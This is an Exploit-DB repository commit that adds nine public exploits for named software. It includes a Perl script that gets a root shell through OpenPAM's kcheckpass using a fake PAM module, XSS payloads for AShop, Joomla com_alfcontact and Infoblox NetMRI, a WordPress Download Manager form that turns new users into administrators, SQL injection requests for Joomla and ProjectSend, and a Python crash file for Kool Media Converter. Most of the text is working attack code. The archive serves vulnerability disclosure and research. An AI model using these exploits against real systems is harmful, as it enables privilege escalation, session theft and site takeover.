Skip to content

Commit 65bae5b

Browse files
author
Offensive Security
committed
Update: 2015-03-08
9 new exploits
1 parent 4b5c85f commit 65bae5b

10 files changed

Lines changed: 457 additions & 0 deletions

File tree

files.csv

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32715,3 +32715,12 @@ id,file,description,date,author,platform,type,port
3271532715
36293,platforms/php/webapps/36293.txt,"Centreon 2.3.1 'command_name' Parameter Remote Command Execution Vulnerability",2011-11-04,"Christophe de la Fuente",php,webapps,0
3271632716
36294,platforms/linux/local/36294.c,"Linux Kernel <= 3.0.4 '/proc/interrupts' Password Length Local Information Disclosure Weakness",2011-11-07,"Vasiliy Kulikov",linux,local,0
3271732717
36295,platforms/php/webapps/36295.txt,"PBCS Technology 'articlenav.php' SQL Injection Vulnerability",2011-11-08,Kalashinkov3,php,webapps,0
32718+
36296,platforms/bsd/local/36296.pl,"OpenPAM 'pam_start()' Local Privilege Escalation Vulnerability",2011-11-09,IKCE,bsd,local,0
32719+
36297,platforms/php/webapps/36297.txt,"AShop Open-Redirection and Cross Site Scripting Vulnerabilities",2011-11-09,"Infoserve Security Team",php,webapps,0
32720+
36298,platforms/php/webapps/36298.txt,"Joomla! 1.9.3 'com_alfcontact' Extension Multiple Cross Site Scripting Vulnerabilities",2011-11-10,"Jose Carlos de Arriba",php,webapps,0
32721+
36299,platforms/java/webapps/36299.txt,"Infoblox NetMRI <= 6.2.1 Admin Login Page Multiple Cross Site Scripting Vulnerabilities",2011-11-11,"Jose Carlos de Arriba",java,webapps,0
32722+
36300,platforms/windows/dos/36300.py,"Kool Media Converter 2.6.0 '.ogg' File Buffer Overflow Vulnerability",2011-11-11,swami,windows,dos,0
32723+
36301,platforms/php/webapps/36301.txt,"WordPress Download Manager 2.7.2 - Privilege Escalation",2014-11-24,"Kacper Szurek",php,webapps,0
32724+
36302,platforms/php/webapps/36302.txt,"Joomla Content Component 'year' Parameter SQL Injection Vulnerability",2011-11-14,E.Shahmohamadi,php,webapps,0
32725+
36303,platforms/php/webapps/36303.txt,"ProjectSend r561 - SQL Injection Vulnerability",2015-03-06,"ITAS Team",php,webapps,80
32726+
36304,platforms/windows/remote/36304.rb,"HP Data Protector 8.10 Remote Command Execution",2015-03-06,metasploit,windows,remote,5555

platforms/bsd/local/36296.pl

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
source: http://www.securityfocus.com/bid/50607/info
2+
3+
OpenPAM is prone to a local privilege-escalation vulnerability.
4+
5+
Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.
6+
7+
#!/usr/bin/perl
8+
9+
# kcheckpass invoking pam_start() with user provided
10+
# service argument, what a bad idea. OpenPAM accepts that.
11+
# Maybe this pam_start() vulnerability is exploitable via
12+
# other vectors as well.
13+
# Vuln tested on a FreeBSD 8.1. It does not affect
14+
# Linux PAM, as it is checking for / character
15+
16+
# (C) 2011 by some dude, meant as a PoC! Only use on your own
17+
# machine and on your own risk!!!
18+
#
19+
# This commit is likely to fix the bug:
20+
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
21+
#
22+
23+
my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";
24+
25+
# build suid shell
26+
open(O,">/tmp/slam.c") or die $!;
27+
print O<<EOC;
28+
29+
#include <stdio.h>
30+
#include <unistd.h>
31+
32+
void __attribute__((constructor)) init()
33+
{
34+
char *a[] = {"/bin/sh", NULL};
35+
setuid(0);
36+
execve(*a, a, NULL);
37+
}
38+
EOC
39+
close(O);
40+
41+
# build fake pam module
42+
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");
43+
44+
# build fake PAM service file
45+
open(O,">/tmp/pamslam") or die $!;
46+
print O<<EOP;
47+
auth sufficient /tmp/slam.so
48+
EOP
49+
close(O);
50+
51+
print "We need more Elchsalami! Happy birthday dude!\n";
52+
exec("$kcheckpass -c ../../../tmp/pamslam -m classic");

platforms/java/webapps/36299.txt

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
source: http://www.securityfocus.com/bid/50646/info
2+
3+
Infoblox NetMRI is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
Infoblox NetMRI versions 6.2.1, 6.1.2, and 6.0.2.42 are vulnerable; other versions may also be affected.
8+
9+
POST /netmri/config/userAdmin/login.tdf HTTP/1.1
10+
Content-Length: 691
11+
Cookie: XXXX
12+
Host: netmrihost:443
13+
Connection: Keep-alive
14+
Accept-Encoding: gzip,deflate
15+
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
16+
17+
formStack=netmri/config/userAdmin/login&eulaAccepted=<script>alert(document.cookie)</script>&mode=<script>alert(document.cookie)</script>&skipjackPassword=ForegroundSecurity&skipjackUsername=ForegroundSecurity&weakPassword=false

platforms/php/webapps/36297.txt

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
source: http://www.securityfocus.com/bid/50616/info
2+
3+
AShop is prone to multiple open-redirection issues and multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input.
4+
5+
Attackers can exploit these issues to execute arbitrary script or HTML code, steal cookie-based authentication credentials, and conduct phishing attacks. Other attacks may also be possible.
6+
7+
Versions prior to AShop 5.1.4 are vulnerable.
8+
9+
IE8
10+
11+
http://www.example.com/ashop/?&#039;"<script>alert(document.cookie)</script>
12+
http://www.example.com/ashop/index.php?&#039;"<script>alert(document.cookie)</script>
13+
http://www.example.com/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns="
14+
http://www.example.com/ashop/index.php?language=&#039;"<script>alert(document.cookie)</script>
15+
16+
FF 7.1
17+
18+
http://www.example.com/ashop/index.php?searchstring=1&showresult=true&exp=&#039;"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1
19+
http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=&#039;"</script><script>alert(document.cookie)</script>&msg=
20+
http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg=&#039;"</script><script>alert(document.cookie)</script>
21+
http://www.example.com/ashop/basket.php?cat=0&sid=&#039;"</script><script>alert(document.cookie)</script>&shop=1&payoption=3
22+
23+
Open Redirection
24+
25+
http://www.example.com/ashop/language.php?language=sv&redirect=http://www.google.com
26+
http://www.example.com/ashop/currency.php?currency=aud&redirect=http://www.google.com
27+
http://www.example.com/ashop/currency.php?redirect=http://www.google.com

platforms/php/webapps/36298.txt

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/50637/info
2+
3+
Joomla! 'com_alfcontact' extension is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
4+
5+
An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
Joomla! 'com_alfcontact' extension 1.9.3 is vulnerable; prior versions may also be affected.
8+
9+
&email=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&emailid=5%2c%2cCareers%20at%20Foreground%20Security&emailto_id=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&extravalue=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&message=20&name=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&option=com_alfcontact&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge&subject=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&task=sendemail

platforms/php/webapps/36301.txt

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation
2+
# Date: 24-11-2014
3+
# Software Link: https://wordpress.org/plugins/download-manager/
4+
# Exploit Author: Kacper Szurek
5+
# Contact: http://twitter.com/KacperSzurek
6+
# Website: http://security.szurek.pl/
7+
# Category: webapps
8+
# CVE: CVE-2014-9260
9+
10+
1. Description
11+
12+
Every registered user can update every WordPress options using basic_settings() function.
13+
14+
function basic_settings()
15+
{
16+
if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {
17+
18+
foreach ($_POST as $optn => $optv) {
19+
update_option($optn, $optv);
20+
}
21+
if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');
22+
23+
24+
25+
die('Settings Saved Successfully');
26+
}
27+
include('settings/basic.php');
28+
}
29+
30+
http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html
31+
32+
2. Proof of Concept
33+
34+
Login as standard user (created using wp-login.php?action=register) then:
35+
36+
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
37+
<input type="hidden" name="task" value="wdm_save_settings">
38+
<input type="hidden" name="section" value="basic">
39+
<input type="hidden" name="default_role" value="administrator">
40+
<input type="submit" value="Hack!">
41+
</form>
42+
43+
After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.
44+
45+
3. Solution:
46+
47+
Update to version 2.7.3

platforms/php/webapps/36302.txt

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/50656/info
2+
3+
Content component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI]

platforms/php/webapps/36303.txt

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
#Vulnerability title: ProjectSend r561 - SQL injection vulnerability
2+
#Product: ProjectSend r561
3+
#Vendor: http://www.projectsend.org/
4+
#Affected version: ProjectSend r561
5+
#Download link: http://www.projectsend.org/download/67/
6+
#Fixed version: N/A
7+
#Author: Le Ngoc Phi (phi.n.le@itas.vn) & ITAS Team (www.itas.vn)
8+
9+
10+
::PROOF OF CONCEPT::
11+
12+
+ REQUEST:
13+
GET /projectsend/users-edit.php?id=<SQL INJECTION HERE> HTTP/1.1
14+
Host: target.org
15+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
16+
Firefox/35.0
17+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
18+
Accept-Language: en-US,en;q=0.5
19+
Accept-Encoding: gzip, deflate
20+
Cookie: 54f8105d859e0_SESSION=q6tjpjjbt53nk1o5tnbv2123456;
21+
PHPSESSID=jec50hu4plibu5p2p6hnvpcut6
22+
Connection: keep-alive
23+
24+
25+
- Vulnerable file: client-edit.php
26+
- Vulnerable parameter: id
27+
- Vulnerable code:
28+
if (isset($_GET['id'])) {
29+
$client_id = mysql_real_escape_string($_GET['id']);
30+
/**
31+
* Check if the id corresponds to a real client.
32+
* Return 1 if true, 2 if false.
33+
**/
34+
$page_status = (client_exists_id($client_id)) ? 1 : 2;
35+
}
36+
else {
37+
/**
38+
* Return 0 if the id is not set.
39+
*/
40+
$page_status = 0;
41+
}
42+
43+
/**
44+
* Get the clients information from the database to use on the form.
45+
*/
46+
if ($page_status === 1) {
47+
$editing = $database->query("SELECT * FROM tbl_users WHERE
48+
id=$client_id");
49+
while($data = mysql_fetch_array($editing)) {
50+
$add_client_data_name = $data['name'];
51+
$add_client_data_user = $data['user'];
52+
$add_client_data_email = $data['email'];
53+
$add_client_data_addr = $data['address'];
54+
$add_client_data_phone = $data['phone'];
55+
$add_client_data_intcont = $data['contact'];
56+
if ($data['notify'] == 1) { $add_client_data_notity = 1; }
57+
else { $add_client_data_notity = 0; }
58+
if ($data['active'] == 1) { $add_client_data_active = 1; }
59+
else { $add_client_data_active = 0; }
60+
}
61+
}
62+
63+
64+
65+
::DISCLOSURE::
66+
+ 01/06/2015: Detect vulnerability
67+
+ 01/07/2015: Contact to vendor
68+
+ 01/08/2015: Send the detail vulnerability to vendor - vendor did not reply
69+
+ 03/05/2015: Public information
70+
71+
::REFERENCE::
72+
-
73+
http://www.itas.vn/news/itas-team-found-out-a-SQL-Injection-vulnerability-in
74+
-projectsend-r561-76.html
75+
76+
77+
::DISCLAIMER::
78+
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
79+
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
80+
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
81+
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
82+
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
83+
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
84+
AND AT THE USER'S OWN RISK.
85+
86+
87+
88+
Best Regards,
89+
---------------------------------------------------------------------
90+
ITAS Team (www.itas.vn)

platforms/windows/dos/36300.py

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
source: http://www.securityfocus.com/bid/50651/info
2+
3+
Kool Media Converter is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
4+
5+
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
6+
7+
Kool Media Converter 2.6.0 is vulnerable; other versions may also be affected.
8+
9+
#!/usr/bin/env python
10+
#
11+
#
12+
# Exploit Title: Kool Media Converter v2.6.0 DOS
13+
# Date: 10/10/2011
14+
# Author: swami
15+
# E-Mail: flavio[dot]baldassi[at]gmail[dot]com
16+
# Software Link: http://www.bestwebsharing.com/downloads/kool-media-converter-setup.exe
17+
# Version: 2.6.0
18+
# Tested on: Windows XP SP3 ENG
19+
#
20+
#--- From Vendor Website
21+
# Kool Media Converter is a sound tool addressed to casual listeners and fervent
22+
# audiophiles likewise. It deals with compatibility problems between your audio files
23+
# and the media player you are using to help you enjoy all the songs you love anyway you like.
24+
#
25+
#--- Description
26+
# Kool Media Converter fails to handle a malformed .ogg file
27+
28+
ogg = b'\x4F\x67\x67\x53' # Capture Pattern OggS in ascii
29+
ogg += b'\x00' # Version currently 0
30+
ogg += b'\x02' # Header Type of page that follows
31+
ogg += b'\x00' * 8 # Granule Position
32+
ogg += b'\xCE\xc6\x41\x49' # Bitstream Serial Number
33+
ogg += b'\x00' * 4 # Page Sequence Number
34+
ogg += b'\x70\x79\xf3\x3d' # Checksum
35+
ogg += b'\x01' # Page Segment max 255
36+
ogg += b'\x1e\x01\x76\x6f' # Segment Table
37+
38+
ogg += b'\x41' * 1000
39+
40+
try:
41+
f = open('koolPoC.ogg','wb')
42+
f.write(ogg)
43+
f.close()
44+
except:
45+
print('\nError while creating ogg file\n')
46+
47+
48+

0 commit comments

Comments
 (0)